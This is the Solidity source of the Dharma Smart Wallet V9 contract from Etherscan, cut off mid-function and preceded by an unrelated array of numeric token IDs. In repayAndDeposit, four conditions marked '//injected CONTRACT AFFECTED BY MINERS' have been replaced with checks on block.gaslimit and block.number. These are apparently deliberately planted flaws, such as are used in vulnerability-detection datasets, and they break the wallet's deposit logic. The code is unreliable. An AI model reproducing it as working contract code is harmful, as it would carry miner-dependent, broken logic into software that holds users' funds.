[ 1, 565, 445, 336, 9054, 9781, 27716, 5796, 1435, 1071, 1476, 1135, 261, 11890, 1578, 13, 288, 203, 3639, 327, 18318, 27716, 5796, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-03-13 */ pragma solidity 0.5.11; // optimization runs: 200, evm version: petersburg // WARNING - `executeActionWithAtomicBatchCalls` has a `bytes[]` argument that // requires ABIEncoderV2. Exercise caution when calling that specific function. pragma experimental ABIEncoderV2; interface DharmaSmartWalletImplementationV1Interface { event CallSuccess( bytes32 actionID, bool rolledBack, uint256 nonce, address to, bytes data, bytes returnData ); event CallFailure( bytes32 actionID, uint256 nonce, address to, bytes data, string revertReason ); // ABIEncoderV2 uses an array of Calls for executing generic batch calls. struct Call { address to; bytes data; } // ABIEncoderV2 uses an array of CallReturns for handling generic batch calls. struct CallReturn { bool ok; bytes returnData; } function withdrawEther( uint256 amount, address payable recipient, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool ok); function executeAction( address to, bytes calldata data, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool ok, bytes memory returnData); function recover(address newUserSigningKey) external; function executeActionWithAtomicBatchCalls( Call[] calldata calls, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool[] memory ok, bytes[] memory returnData); function getNextGenericActionID( address to, bytes calldata data, uint256 minimumActionGas ) external view returns (bytes32 actionID); function getGenericActionID( address to, bytes calldata data, uint256 nonce, uint256 minimumActionGas ) external view returns (bytes32 actionID); function getNextGenericAtomicBatchActionID( Call[] calldata calls, uint256 minimumActionGas ) external view returns (bytes32 actionID); function getGenericAtomicBatchActionID( Call[] calldata calls, uint256 nonce, uint256 minimumActionGas ) external view returns (bytes32 actionID); } interface DharmaSmartWalletImplementationV3Interface { event Cancel(uint256 cancelledNonce); event EthWithdrawal(uint256 amount, address recipient); } interface DharmaSmartWalletImplementationV4Interface { event Escaped(); function setEscapeHatch( address account, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external; function escape() external; } interface DharmaSmartWalletImplementationV7Interface { // Fires when a new user signing key is set on the smart wallet. event NewUserSigningKey(address userSigningKey); // Fires when an error occurs as part of an attempted action. event ExternalError(address indexed source, string revertReason); // The smart wallet recognizes DAI, USDC, ETH, and SAI as supported assets. enum AssetType { DAI, USDC, ETH, SAI } // Actions, or protected methods (i.e. not deposits) each have an action type. enum ActionType { Cancel, SetUserSigningKey, Generic, GenericAtomicBatch, SAIWithdrawal, USDCWithdrawal, ETHWithdrawal, SetEscapeHatch, RemoveEscapeHatch, DisableEscapeHatch, DAIWithdrawal, SignatureVerification, TradeEthForDai, TradeDDaiForDUSDC, TradeDUSDCForDDai, DAIBorrow, USDCBorrow } function initialize(address userSigningKey) external; function repayAndDeposit() external; function withdrawDai( uint256 amount, address recipient, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool ok); function withdrawUSDC( uint256 amount, address recipient, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool ok); function cancel( uint256 minimumActionGas, bytes calldata signature ) external; function setUserSigningKey( address userSigningKey, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external; function migrateCUSDCToDUSDC() external; function getBalances() external view returns ( uint256 daiBalance, uint256 usdcBalance, uint256 etherBalance, uint256 dDaiUnderlyingDaiBalance, uint256 dUsdcUnderlyingUsdcBalance, uint256 dEtherUnderlyingEtherBalance // always returns zero ); function getUserSigningKey() external view returns (address userSigningKey); function getNonce() external view returns (uint256 nonce); function getNextCustomActionID( ActionType action, uint256 amount, address recipient, uint256 minimumActionGas ) external view returns (bytes32 actionID); function getCustomActionID( ActionType action, uint256 amount, address recipient, uint256 nonce, uint256 minimumActionGas ) external view returns (bytes32 actionID); function getVersion() external pure returns (uint256 version); } interface DharmaSmartWalletImplementationV8Interface { function tradeEthForDaiAndMintDDai( uint256 ethToSupply, uint256 minimumDaiReceived, address target, bytes calldata data, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool ok, bytes memory returnData); function getNextEthForDaiActionID( uint256 ethToSupply, uint256 minimumDaiReceived, address target, bytes calldata data, uint256 minimumActionGas ) external view returns (bytes32 actionID); function getEthForDaiActionID( uint256 ethToSupply, uint256 minimumDaiReceived, address target, bytes calldata data, uint256 nonce, uint256 minimumActionGas ) external view returns (bytes32 actionID); } interface DharmaSmartWalletImplementationV9Interface { function cancel( uint256 minimumActionGas, bytes calldata signature ) external; function tradeDDaiForDUSDC( uint256 dDaiToSupply, uint256 minimumDUSDCReceived, address target, bytes calldata data, uint256 minimumActionGas, bytes calldata signature ) external returns (bool ok, bytes memory returnData); } interface ERC20Interface { function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function allowance( address owner, address spender ) external view returns (uint256); } interface ERC1271Interface { function isValidSignature( bytes calldata data, bytes calldata signature ) external view returns (bytes4 magicValue); } interface CTokenInterface { function redeem(uint256 redeemAmount) external returns (uint256 err); function transfer(address recipient, uint256 value) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256 balance); function allowance(address owner, address spender) external view returns (uint256); } interface DTokenInterface { // These external functions trigger accrual on the dToken and backing cToken. function mint(uint256 underlyingToSupply) external returns (uint256 dTokensMinted); function redeem(uint256 dTokensToBurn) external returns (uint256 underlyingReceived); function redeemUnderlying(uint256 underlyingToReceive) external returns (uint256 dTokensBurned); // These external functions only trigger accrual on the dToken. function mintViaCToken(uint256 cTokensToSupply) external returns (uint256 dTokensMinted); // View and pure functions do not trigger accrual on the dToken or the cToken. function exchangeRateCurrent() external view returns (uint256 rate); function balanceOfUnderlying(address account) external view returns (uint256 underlyingBalance); } interface USDCV1Interface { function isBlacklisted(address _account) external view returns (bool); function paused() external view returns (bool); } interface DharmaKeyRegistryInterface { function getKey() external view returns (address key); } interface DharmaEscapeHatchRegistryInterface { function setEscapeHatch(address newEscapeHatch) external; function removeEscapeHatch() external; function permanentlyDisableEscapeHatch() external; function getEscapeHatch() external view returns ( bool exists, address escapeHatch ); } interface TradeHelperInterface { function tradeEthForDai( uint256 daiExpected, address target, bytes calldata data ) external payable returns (uint256 daiReceived); function tradeDDaiForDUSDC( uint256 minimumDUSDCReceived, address target, bytes calldata data ) external returns (uint256 dUSDCReceived); } interface RevertReasonHelperInterface { function reason(uint256 code) external pure returns (string memory); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } library ECDSA { function recover( bytes32 hash, bytes memory signature ) internal pure returns (address) { if (signature.length != 65) { return (address(0)); } bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } return ecrecover(hash, v, r, s); } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } /** * @title DharmaSmartWalletImplementationV9 * @author 0age * @notice The V9 implementation for the Dharma smart wallet is a non-custodial, * meta-transaction-enabled wallet with helper functions to facilitate lending * funds through Dharma Dai and Dharma USD Coin (which in turn use CompoundV2), * and with an added security backstop provided by Dharma Labs prior to making * withdrawals. It adds support for Dharma Dai and Dharma USD Coin - they employ * the respective cTokens as backing tokens and mint and redeem them internally * as interest-bearing collateral. This implementation also contains methods to * support account recovery, escape hatch functionality, and generic actions, * including in an atomic batch. The smart wallet instances utilizing this * implementation are deployed through the Dharma Smart Wallet Factory via * `CREATE2`, which allows for their address to be known ahead of time, and any * Dai or USDC that has already been sent into that address will automatically * be deposited into the respective Dharma Token upon deployment of the new * smart wallet instance. V9 adds a mechanism for permissioned conversion of * Dharma Dai into Dharma USD Coin using a single signature. */ contract DharmaSmartWalletImplementationV9 is DharmaSmartWalletImplementationV1Interface, DharmaSmartWalletImplementationV3Interface, DharmaSmartWalletImplementationV4Interface, DharmaSmartWalletImplementationV7Interface, DharmaSmartWalletImplementationV8Interface, DharmaSmartWalletImplementationV9Interface, ERC1271Interface { using Address for address; using ECDSA for bytes32; // WARNING: DO NOT REMOVE OR REORDER STORAGE WHEN WRITING NEW IMPLEMENTATIONS! // The user signing key associated with this account is in storage slot 0. // It is the core differentiator when it comes to the account in question. address private _userSigningKey; // The nonce associated with this account is in storage slot 1. Every time a // signature is submitted, it must have the appropriate nonce, and once it has // been accepted the nonce will be incremented. uint256 private _nonce; // The self-call context flag is in storage slot 2. Some protected functions // may only be called externally from calls originating from other methods on // this contract, which enables appropriate exception handling on reverts. // Any storage should only be set immediately preceding a self-call and should // be cleared upon entering the protected function being called. bytes4 internal _selfCallContext; // END STORAGE DECLARATIONS - DO NOT REMOVE OR REORDER STORAGE ABOVE HERE! // The smart wallet version will be used when constructing valid signatures. uint256 internal constant _DHARMA_SMART_WALLET_VERSION = 9; // DharmaKeyRegistryV2 holds a public key for verifying meta-transactions. DharmaKeyRegistryInterface internal constant _DHARMA_KEY_REGISTRY = ( DharmaKeyRegistryInterface(0x000000000D38df53b45C5733c7b34000dE0BDF52) ); // Account recovery is facilitated using a hard-coded recovery manager, // controlled by Dharma and implementing appropriate timelocks. address internal constant _ACCOUNT_RECOVERY_MANAGER = address( 0x0000000000DfEd903aD76996FC07BF89C0127B1E ); // Users can designate an "escape hatch" account with the ability to sweep all // funds from their smart wallet by using the Dharma Escape Hatch Registry. DharmaEscapeHatchRegistryInterface internal constant _ESCAPE_HATCH_REGISTRY = ( DharmaEscapeHatchRegistryInterface(0x00000000005280B515004B998a944630B6C663f8) ); // Interface with dDai, dUSDC, Dai, USDC, Sai, cSai, cDai, cUSDC, & migrator. DTokenInterface internal constant _DDAI = DTokenInterface( 0x00000000001876eB1444c986fD502e618c587430 // mainnet ); DTokenInterface internal constant _DUSDC = DTokenInterface( 0x00000000008943c65cAf789FFFCF953bE156f6f8 // mainnet ); ERC20Interface internal constant _DAI = ERC20Interface( 0x6B175474E89094C44Da98b954EedeAC495271d0F // mainnet ); ERC20Interface internal constant _USDC = ERC20Interface( 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 // mainnet ); CTokenInterface internal constant _CSAI = CTokenInterface( 0xF5DCe57282A584D2746FaF1593d3121Fcac444dC // mainnet ); CTokenInterface internal constant _CDAI = CTokenInterface( 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643 // mainnet ); CTokenInterface internal constant _CUSDC = CTokenInterface( 0x39AA39c021dfbaE8faC545936693aC917d5E7563 // mainnet ); // The "trade helper" facilitates Eth & ERC20 trades in an isolated context. TradeHelperInterface internal constant _TRADE_HELPER = TradeHelperInterface( 0x733Fa571c2Db987dbdB7767FaBF8392300f456d6 ); // The "revert reason helper" contains a collection of revert reason strings. RevertReasonHelperInterface internal constant _REVERT_REASON_HELPER = ( RevertReasonHelperInterface(0x9C0ccB765D3f5035f8b5Dd30fE375d5F4997D8E4) ); // Compound returns a value of 0 to indicate success, or lack of an error. uint256 internal constant _COMPOUND_SUCCESS = 0; // ERC-1271 must return this magic value when `isValidSignature` is called. bytes4 internal constant _ERC_1271_MAGIC_VALUE = bytes4(0x20c13b0b); // Minimum supported deposit & non-maximum withdrawal size is .001 underlying. uint256 private constant _JUST_UNDER_ONE_1000th_DAI = 999999999999999; uint256 private constant _JUST_UNDER_ONE_1000th_USDC = 999; // Specify the amount of gas to supply when making Ether transfers. uint256 private constant _ETH_TRANSFER_GAS = 4999; /** * @notice Accept Ether in the fallback. */ function () external payable {} /** * @notice In the initializer, set up the initial user signing key, set * approval on the Dharma Dai and Dharma USD Coin contracts, and deposit any * Dai or USDC already at this address to receive dDai or dUSDC. Note that * this initializer is only callable while the smart wallet instance is still * in the contract creation phase. * @param userSigningKey address The initial user signing key for the smart * wallet. */ function initialize(address userSigningKey) external { // Ensure that this function is only callable during contract construction. assembly { if extcodesize(address) { revert(0, 0) } } // Set up the user's signing key and emit a corresponding event. _setUserSigningKey(userSigningKey); // Approve the dDai contract to transfer Dai on behalf of this contract. if (_setFullApproval(AssetType.DAI)) { // Get the current Dai balance on this contract. uint256 daiBalance = _DAI.balanceOf(address(this)); // Try to deposit the full Dai balance to Dharma Dai. _depositDharmaToken(AssetType.DAI, daiBalance); } // Approve the dUSDC contract to transfer USDC on behalf of this contract. if (_setFullApproval(AssetType.USDC)) { // Get the current USDC balance on this contract. uint256 usdcBalance = _USDC.balanceOf(address(this)); // Try to deposit the full Dai balance to Dharma USDC. _depositDharmaToken(AssetType.USDC, usdcBalance); } } /** * @notice Deposit all Dai and USDC currently residing at this address and * receive Dharma Dai or Dharma USD Coin in return. Note that "repay" is not * currently implemented, though it may be in a future implementation. If some * step of this function fails, the function itself will still succeed, but an * `ExternalError` with information on what went wrong will be emitted. */ function repayAndDeposit() external { // Get the current Dai balance on this contract. uint256 daiBalance = _DAI.balanceOf(address(this)); // If there is any Dai balance, check for adequate approval for dDai. if (block.gaslimit > 0) { //injected CONTRACT AFFECTED BY MINERS uint256 daiAllowance = _DAI.allowance(address(this), address(_DDAI)); // If allowance is insufficient, try to set it before depositing. if (block.number < daiBalance) { //injected CONTRACT AFFECTED BY MINERS if (_setFullApproval(AssetType.DAI)) { // Deposit the full available Dai balance to Dharma Dai. _depositDharmaToken(AssetType.DAI, daiBalance); } // Otherwise, just go ahead and try the Dai deposit. } else { // Deposit the full available Dai balance to Dharma Dai. _depositDharmaToken(AssetType.DAI, daiBalance); } } // Get the current USDC balance on this contract. uint256 usdcBalance = _USDC.balanceOf(address(this)); // If there is any USDC balance, check for adequate approval for dUSDC. if (block.number > 0) { //injected CONTRACT AFFECTED BY MINERS uint256 usdcAllowance = _USDC.allowance(address(this), address(_DUSDC)); // If allowance is insufficient, try to set it before depositing. if (block.number < usdcBalance) { //injected CONTRACT AFFECTED BY MINERS if (_setFullApproval(AssetType.USDC)) { // Deposit the full available USDC balance to Dharma USDC. _depositDharmaToken(AssetType.USDC, usdcBalance); } // Otherwise, just go ahead and try the USDC deposit. } else { // Deposit the full available USDC balance to Dharma USDC. _depositDharmaToken(AssetType.USDC, usdcBalance); } } } /** * @notice Withdraw Dai to a provided recipient address by redeeming the * underlying Dai from the dDai contract and transferring it to the recipient. * All Dai in Dharma Dai and in the smart wallet itself can be withdrawn by * providing an amount of uint256(-1) or 0xfff...fff. This function can be * called directly by the account set as the global key on the Dharma Key * Registry, or by any relayer that provides a signed message from the same * keyholder. The nonce used for the signature must match the current nonce on * the smart wallet, and gas supplied to the call must exceed the specified * minimum action gas, plus the gas that will be spent before the gas check is * reached - usually somewhere around 25,000 gas. If the withdrawal fails, an * `ExternalError` with additional details on what went wrong will be emitted. * Note that some dust may still be left over, even in the event of a max * withdrawal, due to the fact that Dai has a higher precision than dDai. Also * note that the withdrawal will fail in the event that Compound does not have * sufficient Dai available to withdraw. * @param amount uint256 The amount of Dai to withdraw. * @param recipient address The account to transfer the withdrawn Dai to. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @param userSignature bytes A signature that resolves to the public key * set for this account in storage slot zero, `_userSigningKey`. If the user * signing key is not a contract, ecrecover will be used; otherwise, ERC1271 * will be used. A unique hash returned from `getCustomActionID` is prefixed * and hashed to create the message hash for the signature. * @param dharmaSignature bytes A signature that resolves to the public key * returned for this account from the Dharma Key Registry. A unique hash * returned from `getCustomActionID` is prefixed and hashed to create the * signed message. * @return True if the withdrawal succeeded, otherwise false. */ function withdrawDai( uint256 amount, address recipient, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool ok) { // Ensure caller and/or supplied signatures are valid and increment nonce. _validateActionAndIncrementNonce( ActionType.DAIWithdrawal, abi.encode(amount, recipient), minimumActionGas, userSignature, dharmaSignature ); // Ensure that an amount of at least 0.001 Dai has been supplied. require(amount > _JUST_UNDER_ONE_1000th_DAI, _revertReason(0)); // Ensure that a non-zero recipient has been supplied. require(recipient != address(0), _revertReason(1)); // Set the self-call context in order to call _withdrawDaiAtomic. _selfCallContext = this.withdrawDai.selector; // Make the atomic self-call - if redeemUnderlying fails on dDai, it will // succeed but nothing will happen except firing an ExternalError event. If // the second part of the self-call (the Dai transfer) fails, it will revert // and roll back the first part of the call as well as fire an ExternalError // event after returning from the failed call. bytes memory returnData; (ok, returnData) = address(this).call(abi.encodeWithSelector( this._withdrawDaiAtomic.selector, amount, recipient )); // If the atomic call failed, emit an event signifying a transfer failure. if (!ok) { emit ExternalError(address(_DAI), _revertReason(2)); } else { // Set ok to false if the call succeeded but the withdrawal failed. ok = abi.decode(returnData, (bool)); } } /** * @notice Protected function that can only be called from `withdrawDai` on * this contract. It will attempt to withdraw the supplied amount of Dai, or * the maximum amount if specified using `uint256(-1)`, to the supplied * recipient address by redeeming the underlying Dai from the dDai contract * and transferring it to the recipient. An ExternalError will be emitted and * the transfer will be skipped if the call to `redeem` or `redeemUnderlying` * fails, and any revert will be caught by `withdrawDai` and diagnosed in * order to emit an appropriate `ExternalError` as well. * @param amount uint256 The amount of Dai to withdraw. * @param recipient address The account to transfer the withdrawn Dai to. * @return True if the withdrawal succeeded, otherwise false. */ function _withdrawDaiAtomic( uint256 amount, address recipient ) external returns (bool success) { // Ensure caller is this contract and self-call context is correctly set. _enforceSelfCallFrom(this.withdrawDai.selector); // If amount = 0xfff...fff, withdraw the maximum amount possible. bool maxWithdraw = (amount == uint256(-1)); if (maxWithdraw) { // First attempt to redeem all dDai if there is a balance. _withdrawMaxFromDharmaToken(AssetType.DAI); // Then transfer all Dai to recipient if there is a balance. require(_transferMax(_DAI, recipient, false)); success = true; } else { // Attempt to withdraw specified Dai from Dharma Dai before proceeding. if (_withdrawFromDharmaToken(AssetType.DAI, amount)) { // At this point Dai transfer should never fail - wrap it just in case. require(_DAI.transfer(recipient, amount)); success = true; } } } /** * @notice Withdraw USDC to a provided recipient address by redeeming the * underlying USDC from the dUSDC contract and transferring it to recipient. * All USDC in Dharma USD Coin and in the smart wallet itself can be withdrawn * by providing an amount of uint256(-1) or 0xfff...fff. This function can be * called directly by the account set as the global key on the Dharma Key * Registry, or by any relayer that provides a signed message from the same * keyholder. The nonce used for the signature must match the current nonce on * the smart wallet, and gas supplied to the call must exceed the specified * minimum action gas, plus the gas that will be spent before the gas check is * reached - usually somewhere around 25,000 gas. If the withdrawal fails, an * `ExternalError` with additional details on what went wrong will be emitted. * Note that the USDC contract can be paused and also allows for blacklisting * accounts - either of these possibilities may cause a withdrawal to fail. In * addition, Compound may not have sufficient USDC available at the time to * withdraw. * @param amount uint256 The amount of USDC to withdraw. * @param recipient address The account to transfer the withdrawn USDC to. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @param userSignature bytes A signature that resolves to the public key * set for this account in storage slot zero, `_userSigningKey`. If the user * signing key is not a contract, ecrecover will be used; otherwise, ERC1271 * will be used. A unique hash returned from `getCustomActionID` is prefixed * and hashed to create the message hash for the signature. * @param dharmaSignature bytes A signature that resolves to the public key * returned for this account from the Dharma Key Registry. A unique hash * returned from `getCustomActionID` is prefixed and hashed to create the * signed message. * @return True if the withdrawal succeeded, otherwise false. */ function withdrawUSDC( uint256 amount, address recipient, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool ok) { // Ensure caller and/or supplied signatures are valid and increment nonce. _validateActionAndIncrementNonce( ActionType.USDCWithdrawal, abi.encode(amount, recipient), minimumActionGas, userSignature, dharmaSignature ); // Ensure that an amount of at least 0.001 USDC has been supplied. require(amount > _JUST_UNDER_ONE_1000th_USDC, _revertReason(3)); // Ensure that a non-zero recipient has been supplied. require(recipient != address(0), _revertReason(1)); // Set the self-call context in order to call _withdrawUSDCAtomic. _selfCallContext = this.withdrawUSDC.selector; // Make the atomic self-call - if redeemUnderlying fails on dUSDC, it will // succeed but nothing will happen except firing an ExternalError event. If // the second part of the self-call (USDC transfer) fails, it will revert // and roll back the first part of the call as well as fire an ExternalError // event after returning from the failed call. bytes memory returnData; (ok, returnData) = address(this).call(abi.encodeWithSelector( this._withdrawUSDCAtomic.selector, amount, recipient )); if (!ok) { // Find out why USDC transfer reverted (doesn't give revert reasons). _diagnoseAndEmitUSDCSpecificError(_USDC.transfer.selector); } else { // Set ok to false if the call succeeded but the withdrawal failed. ok = abi.decode(returnData, (bool)); } } /** * @notice Protected function that can only be called from `withdrawUSDC` on * this contract. It will attempt to withdraw the supplied amount of USDC, or * the maximum amount if specified using `uint256(-1)`, to the supplied * recipient address by redeeming the underlying USDC from the dUSDC contract * and transferring it to the recipient. An ExternalError will be emitted and * the transfer will be skipped if the call to `redeemUnderlying` fails, and * any revert will be caught by `withdrawUSDC` and diagnosed in order to emit * an appropriate ExternalError as well. * @param amount uint256 The amount of USDC to withdraw. * @param recipient address The account to transfer the withdrawn USDC to. * @return True if the withdrawal succeeded, otherwise false. */ function _withdrawUSDCAtomic( uint256 amount, address recipient ) external returns (bool success) { // Ensure caller is this contract and self-call context is correctly set. _enforceSelfCallFrom(this.withdrawUSDC.selector); // If amount = 0xfff...fff, withdraw the maximum amount possible. bool maxWithdraw = (amount == uint256(-1)); if (maxWithdraw) { // Attempt to redeem all dUSDC from Dharma USDC if there is a balance. _withdrawMaxFromDharmaToken(AssetType.USDC); // Then transfer all USDC to recipient if there is a balance. require(_transferMax(_USDC, recipient, false)); success = true; } else { // Attempt to withdraw specified USDC from Dharma USDC before proceeding. if (_withdrawFromDharmaToken(AssetType.USDC, amount)) { // Ensure that the USDC transfer does not fail. require(_USDC.transfer(recipient, amount)); success = true; } } } /** * @notice Withdraw Ether to a provided recipient address by transferring it * to a recipient. * @param amount uint256 The amount of Ether to withdraw. * @param recipient address The account to transfer the Ether to. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @param userSignature bytes A signature that resolves to the public key * set for this account in storage slot zero, `_userSigningKey`. If the user * signing key is not a contract, ecrecover will be used; otherwise, ERC1271 * will be used. A unique hash returned from `getCustomActionID` is prefixed * and hashed to create the message hash for the signature. * @param dharmaSignature bytes A signature that resolves to the public key * returned for this account from the Dharma Key Registry. A unique hash * returned from `getCustomActionID` is prefixed and hashed to create the * signed message. * @return True if the transfer succeeded, otherwise false. */ function withdrawEther( uint256 amount, address payable recipient, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool ok) { // Ensure caller and/or supplied signatures are valid and increment nonce. _validateActionAndIncrementNonce( ActionType.ETHWithdrawal, abi.encode(amount, recipient), minimumActionGas, userSignature, dharmaSignature ); // Ensure that a non-zero amount of Ether has been supplied. require(amount > 0, _revertReason(4)); // Ensure that a non-zero recipient has been supplied. require(recipient != address(0), _revertReason(1)); // Attempt to transfer Ether to the recipient and emit an appropriate event. ok = _transferETH(recipient, amount); } /** * @notice Allow a signatory to increment the nonce at any point. The current * nonce needs to be provided as an argument to the signature so as not to * enable griefing attacks. All arguments can be omitted if called directly. * No value is returned from this function - it will either succeed or revert. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @param signature bytes A signature that resolves to either the public key * set for this account in storage slot zero, `_userSigningKey`, or the public * key returned for this account from the Dharma Key Registry. A unique hash * returned from `getCustomActionID` is prefixed and hashed to create the * signed message. */ function cancel( uint256 minimumActionGas, bytes calldata signature ) external { // Get the current nonce. uint256 nonceToCancel = _nonce; // Ensure the caller or the supplied signature is valid and increment nonce. _validateActionAndIncrementNonce( ActionType.Cancel, abi.encode(), minimumActionGas, signature, signature ); // Emit an event to validate that the nonce is no longer valid. emit Cancel(nonceToCancel); } /** * @notice Perform a generic call to another contract. Note that accounts with * no code may not be specified, nor may the smart wallet itself or the escape * hatch registry. In order to increment the nonce and invalidate the * signatures, a call to this function with a valid target, signatutes, and * gas will always succeed. To determine whether the call made as part of the * action was successful or not, either the return values or the `CallSuccess` * or `CallFailure` event can be used. * @param to address The contract to call. * @param data bytes The calldata to provide when making the call. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @param userSignature bytes A signature that resolves to the public key * set for this account in storage slot zero, `_userSigningKey`. If the user * signing key is not a contract, ecrecover will be used; otherwise, ERC1271 * will be used. A unique hash returned from `getCustomActionID` is prefixed * and hashed to create the message hash for the signature. * @param dharmaSignature bytes A signature that resolves to the public key * returned for this account from the Dharma Key Registry. A unique hash * returned from `getCustomActionID` is prefixed and hashed to create the * signed message. * @return A boolean signifying the status of the call, as well as any data * returned from the call. */ function executeAction( address to, bytes calldata data, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool ok, bytes memory returnData) { // Ensure that the `to` address is a contract and is not this contract. _ensureValidGenericCallTarget(to); // Ensure caller and/or supplied signatures are valid and increment nonce. (bytes32 actionID, uint256 nonce) = _validateActionAndIncrementNonce( ActionType.Generic, abi.encode(to, data), minimumActionGas, userSignature, dharmaSignature ); // Note: from this point on, there are no reverts (apart from out-of-gas or // call-depth-exceeded) originating from this action. However, the call // itself may revert, in which case the function will return `false`, along // with the revert reason encoded as bytes, and fire an CallFailure event. // Perform the action via low-level call and set return values using result. (ok, returnData) = to.call(data); // Emit a CallSuccess or CallFailure event based on the outcome of the call. if (ok) { // Note: while the call succeeded, the action may still have "failed" // (for example, successful calls to Compound can still return an error). emit CallSuccess(actionID, false, nonce, to, data, returnData); } else { // Note: while the call failed, the nonce will still be incremented, which // will invalidate all supplied signatures. emit CallFailure(actionID, nonce, to, data, string(returnData)); } } /** * @notice Allow signatory to set a new user signing key. The current nonce * needs to be provided as an argument to the signature so as not to enable * griefing attacks. No value is returned from this function - it will either * succeed or revert. * @param userSigningKey address The new user signing key to set on this smart * wallet. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @param userSignature bytes A signature that resolves to the public key * set for this account in storage slot zero, `_userSigningKey`. If the user * signing key is not a contract, ecrecover will be used; otherwise, ERC1271 * will be used. A unique hash returned from `getCustomActionID` is prefixed * and hashed to create the message hash for the signature. * @param dharmaSignature bytes A signature that resolves to the public key * returned for this account from the Dharma Key Registry. A unique hash * returned from `getCustomActionID` is prefixed and hashed to create the * signed message. */ function setUserSigningKey( address userSigningKey, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external { // Ensure caller and/or supplied signatures are valid and increment nonce. _validateActionAndIncrementNonce( ActionType.SetUserSigningKey, abi.encode(userSigningKey), minimumActionGas, userSignature, dharmaSignature ); // Set new user signing key on smart wallet and emit a corresponding event. _setUserSigningKey(userSigningKey); } /** * @notice Set a dedicated address as the "escape hatch" account. This account * can then call `escape()` at any point to "sweep" the entire Dai, USDC, * residual cDai, cUSDC, dDai, dUSDC, and Ether balance from the smart wallet. * This function call will revert if the smart wallet has previously called * `permanentlyDisableEscapeHatch` at any point and disabled the escape hatch. * No value is returned from this function - it will either succeed or revert. * @param account address The account to set as the escape hatch account. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @param userSignature bytes A signature that resolves to the public key * set for this account in storage slot zero, `_userSigningKey`. If the user * signing key is not a contract, ecrecover will be used; otherwise, ERC1271 * will be used. A unique hash returned from `getCustomActionID` is prefixed * and hashed to create the message hash for the signature. * @param dharmaSignature bytes A signature that resolves to the public key * returned for this account from the Dharma Key Registry. A unique hash * returned from `getCustomActionID` is prefixed and hashed to create the * signed message. */ function setEscapeHatch( address account, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external { // Ensure caller and/or supplied signatures are valid and increment nonce. _validateActionAndIncrementNonce( ActionType.SetEscapeHatch, abi.encode(account), minimumActionGas, userSignature, dharmaSignature ); // Ensure that 